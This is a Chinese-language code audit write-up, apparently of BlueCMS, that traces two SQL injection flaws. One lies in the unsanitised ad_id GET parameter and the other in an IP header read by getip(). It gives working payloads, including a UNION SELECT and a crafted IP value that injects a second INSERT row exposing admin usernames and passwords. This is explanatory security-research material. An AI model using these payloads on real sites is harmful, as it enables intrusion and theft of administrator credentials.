注入一
我们看到很明显的一个地方
这里get传参的ad_id给了sql语句执行 这个cms虽然不是mvc模型但是采用的和discuz差不多都是采用模型推入,模板渲染两步把模板功能很清晰的分开 所以我们不难在全局方法中找打getone
我们进一步跟进一下getone方法
function getone($sql, $type=MYSQL_ASSOC){ $query = $this->query($sql,$this->linkid); $row = mysql_fetch_array($query, $type); return $row; }
<?php $con = mysql_connect("localhost", "hello", "321"); if (!$con) { die('Could not connect: ' . mysql_error()); } $db_selected = mysql_select_db("test_db",$con); $sql = "SELECT * from Person WHERE Lastname='Adams'"; $result = mysql_query($sql,$con); print_r(mysql_fetch_array($result)); mysql_close($con); ?> 输出类似: Array ( [0] => Adams [LastName] => Adams [1] => John [FirstName] => John [2] => London [City] => London )
就是一个执行$sql语句的函数返回结果 那我们来观察这个语句
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
很明显$ad_id在get方法里面经过trim去掉两边空白字符就给sql语句执行了
那么构造我们的payload
很明显还有报错注入
SELECT * FROM table(ad) WHERE ad_id =1 union select 1,2,3,4,5,6,7
注入二
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')"; $db->query($sql);
首先我们看到的是这段代码
其他不看由于今晚时间有限直接定位到
getip()函数
就是从各类含有ip的http各种头里面获取ip未对ip进行任何处理
那么我们这段代码里面的getip()就是我们可控的请求里面把ip对应的参数改了就行
1','1'),('','6','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1
payload分析:1’,’1’)是为了完成第一次插入,之后的()是为了完成第二次插入,前面的 ‘’,’6’,’2’,’1’,’6’ 是与第一个插入语句的参数相对应。接下来,我们把查询到的账号密码放在了第六个参数即content位置,这样能实现回显。而最后的 ‘1’,’1 是要满足列数相等否则会出错,同时要注意闭合原本语句中的单引号,其中第一个 1 对应sql语句中的$timestamp,表示发表时间,这个无关紧要。 所以这样插入后完整的sql语句是:
$sql = INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','6','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";